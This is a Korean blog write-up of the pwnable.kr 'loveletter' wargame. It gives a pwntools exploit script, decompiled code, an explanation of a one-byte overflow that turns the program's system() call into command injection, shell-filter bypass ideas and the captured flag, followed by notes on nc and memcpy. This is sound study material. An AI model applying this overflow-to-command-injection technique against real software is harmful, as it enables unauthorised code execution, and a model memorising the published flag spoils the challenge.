security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] loveletter

민사민서 2023. 2. 26. 15:30
from pwn import *

p = remote("pwnable.kr", 9034)
# p = process("./loveletter")

# protect에 의해 253bytes+';' => 253bytes+'\xe2\x99\xa5\x00' : 1byte overflow
pay = 'cat flag '
pay += 'A'*(253-len(pay))
p.sendline(pay+";")

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[256]; // [esp+10h] [ebp-114h] BYREF
  int v5; // [esp+110h] [ebp-14h]
  int v6; // [esp+114h] [ebp-10h]
  int v7; // [esp+118h] [ebp-Ch]
  unsigned int v8; // [esp+11Ch] [ebp-8h]

  v8 = __readgsdword(0x14u);
  memset(&loveletter, 0, 256, argv); // 전역변수 loveletter, 0x804a0a0
  v6 = strlen(epilog); // ' very much!' 주소, 0x80489fd
  v5 = strlen(prolog); // 'echo I love ' 주소, 0x80489f0
  printf(&unk_8048A09); // '♥ My lover's name is : '
  fgets(v4, 256, stdin);
  if ( v4[strlen(v4) - 1] == 10 ) // 엔터를 널바이트로 변환
    v4[strlen(v4) - 1] = 0;
  puts(&unk_8048A24); // '♥ Whatever happens, I'll protect her...'
  protect(v4);
  v7 = strlen(v4);
  puts(&unk_8048A50); // '♥ Impress her upon my memory...'
// 전역변수 idx (.bss 세그먼트이므로 0으로 초기화)
// loveletter(0x804a0a0)에 문자열 + v4 + 문자열 저장
  memcpy((unsigned __int16)idx + 134520992, prolog, v5);
  idx += v5;
  memcpy((unsigned __int16)idx + 134520992, v4, v7);
  idx += v7;
  memcpy((unsigned __int16)idx + 134520992, epilog, v6);
  idx += v6;
  puts(&unk_8048A74); // '♥ Her name echos in my mind...'
  return system(&loveletter);
}
unsigned int __cdecl protect(int a1)
{
  int v1; // ebx
  int v2; // eax
  unsigned int i; // [esp+1Ch] [ebp-12Ch]
  unsigned int j; // [esp+20h] [ebp-128h]
  char v6[279]; // [esp+25h] [ebp-123h] BYREF
  unsigned int v7; // [esp+13Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  strcpy(v6, "#&;`'\"|*?~<>^()[]{}$\\,"); // 22개의 문자들
// 즉 22개의 문자들 만날때마다 이모지로 바꿔버리네
  for ( i = 0; i < strlen(a1); ++i )
  {
    for ( j = 0; j < strlen(v6); ++j )
    {
      if ( *(_BYTE *)(i + a1) == v6[j] ) // a1[i] = v6[j]이면 
      {
        strcpy(&v6[23], i + 1 + a1); // v6[23]에 a1[i+1~] 문자열 백업 후
        *(_DWORD *)(i + a1) = 10852834; // a1[i]부터 4byte에 0x00a599e2(하트) 넣고
        v1 = strlen(&v6[23]); // a1[i+1~]
        v2 = strlen(a1); // a1[~i-1]+하트
        memcpy(v2 + a1, &v6[23], v1); // 왜 여기만 memcpy
      }
    }
  }
  return __readgsdword(0x14u) ^ v7;
}

[readme]
connect to port 9034 (nc 0 9034). the 'loveletter' binary will be executed under loveletter_pwn privilege.
pwn it and get a shell and read the flag.

v4에 255바이트 입력 가능 - 필터링 문자 만나면 해당 바이트 3byte(\xe2\x99\xa5)로 바뀜 - bof 가능
bof로 v5를 0으로 바꿔버린다면? loveletter 초반에 'echo I love ' 사라지고 우리 input부터 system함수에서 실행 가능 
v5에는 1바이트만 담겨있으므로 1byte overflow 통해 v5=0 만들 수 있다
0x00003b41  0x0000000c   ->   0xa599e241  0x00000000
필터링 피해서 플래그를 읽어내는 명령어를 입력해보자!

어떻게 필터링 피해서 /bin/sh 실행시켜 쉘을 딸까?
1. ln -s /bin/sh ABC
 => 심볼릭 링크 ABC 만들어서 /bin/sh 실행
1-1. export PATH=$PATH:/tmp/loveletter/
pwd를 PATH 환경변수에 추가 안해주면 sh: 1: ABC: not found
2. 쉘스크립트 a.sh 만들고 그 안에 명령어 입력한다 (ls -l; cat flag)
 => 쉘스크립트 없이 /bin/sh 인자로 cat 명령어 넘겨주려했는데 ABC: 0: Can't open cat 못찾더라
3. 'ABC a.sh '+DUMMY 244 bytes+';' payload를 건네준다 

* 로컬의 바이너리랑 서버의 /home/loveletter/loveletter 대상으로는 잘 동작
* nc 0 9034에서 돌아가는 binary에서는 동작 x (당연하겠지 포트도 다르고 별개니까)
* 잠만 이미 system 함수 실행중이니까 쉘 딸 필요 없이 바로 cat flag 실행하면 되잖아

=> 'cat flag '+DUMMY 244bytes+';' payload를 건네주면 
=> flag 읽어지고, 따라오는 문자열들도 파일 이름으로 인식해 읽으려고 하지만 실패한다 
1_Am_3t3rn4l_L0veR
cat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA♥: No such file or directory
cat: very: No such file or directory
cat: 'much!': No such file or directory

 

1. nc (netcat) 명령어

TCP 또는 UDP 프로토콜을 사용하는 네트워크 환경에서 데이터를 읽고 쓰는 간단한 프로그램

$ nc [OPTIONS] [HOST] [PORT]
옵션 설명
-u udp 연결
-p 소스 포트 지정
-l LISTEN 모드로 포트 띄움
-z 단순 포트 스캔만 진행
-v 더 많은 정보 확인

nc 0 9034 = nc localhost 9034 = nc 127.0.0.1 9034

- pwnable.kr 에서 'nc -l 9034' 등을 이용해 LISTEN 상태로 9034번 포트를 열어둔 상태이다.

- 우리는 다른 터미널(2222번 포트로 ssh 접속 결과)에서 nc로 로컬호스트에 9034번 포트로 접속할 수 있다.

- 문자열 송신 시 Listen하는(포트를 열어둔) 터미널에 해당 문자열 출력됨

 

- 127.0.0.0/8 IP 주소 대역은 호스트 내부 사용 용도로 예약되어 있습니다. 127.0.0.1은 저 대역에 속하는 IP 주소 중 하나로서 localhost라고 불리기도 합니다

- 0.0.0.0은 Wi-Fi, Bluetooth, Ethernet 등 호스트의 모든 네트워크 인터페이스 주소를 포함합니다. 그래서 0.0.0.0 127.0.0.1/8 (localhost)도 포함될 수 있습니다

- In nc, using 0 as the source port number means that the system will automatically choose an available, random port to use as the source port.

- 따라서 nc 0 9034 랑 nc localhost 9034랑 동일하게 동작하는 듯

2. strcpy vs. memcpy

void* memcpy (void* dest, const void* source, size_t num)

첫번째 인자 void* dest
= 복사 받을 메모리를 가리키는 포인터

두번째 인자 const void* source
= 복사할 메모리를 가리키고 있는 포인터

세번째 인자 size_t num
= 복사할 데이터(값)의 길이(바이트 단위)

 

* 복사 후 널바이트를 추가해주지 않는다.

* 문자열 전체를 복사하려면 source 문자열 길이+1 만큼 세번째 인자로 주어야 '\x00'까지 복사가 된다

* destination 과 source 의 타입 제한 없음. 이 함수는 단순히 이진 데이터를 복사하기 때문이다

* source 의 널 종료 문자(null terminating character)를 검사하지 않는다. 언제나 정확히 num 바이트 만큼을 복사한다

 

반면 strcpy 함수는!

* null byte를 포함하는 src문자열 dest 버퍼에 복사한다

 

3. nc 0 9034 혹은 process() , remote() 시 바로 user input을 받는다. why?

- '♥ My lover's name is : ' 문자열 출력되기도 전에 먼저 user input을 받는다

- 잘 안찾아져서 chatGPT한테 물어보니?

 

When you run the binary directly in the terminal, it is using the standard input and output streams (stdin and stdout) that are associated with the terminal. The program first prints the prompt "My lover's name is : " using stdout, and then waits for input on stdin using fgets.

However, when you run the binary with pwntools' process or remote function, the program is not using the terminal's stdin and stdout streams. Instead, pwntools creates pipes for the program's stdin and stdout, and redirects the input and output to those pipes.

Similarly, when you run the binary with nc localhost 9034, the program is using the stdin and stdout streams of the network connection. In this case, the network connection is sending input to the program's stdin, and the program is sending output to the network connection's stdout.

(뭐 대충 터미널 stdin/stdout stream 사용하는게 아니라 다를 수 있다는 내용)

 

When you execute the binary with nc localhost 9034, it connects to the server's loveletter binary and waits for input. Once you provide the input, it sends the input to the loveletter binary, which then starts executing and printing the output to the stdout stream. The stdout stream is then redirected to your terminal, where you can see the output.

(nc 접속 시 server의 binary의 connect만 하고 기다리는 상태, input을 주어야 binary가 동작하면서 output이 출력된다)

 

=> 개인적인 추측으론 scanf가 아니라 fgets여서 뭔가 다르게 동작하는거같음..

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] alloca  (0) 2023.03.03
pwnable.kr - [Rookiss] simple login  (0) 2023.02.27
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25
pwnable.kr - [Rookiss] fix  (0) 2023.02.23
pwnable.kr - [Rookiss] echo1  (0) 2023.02.23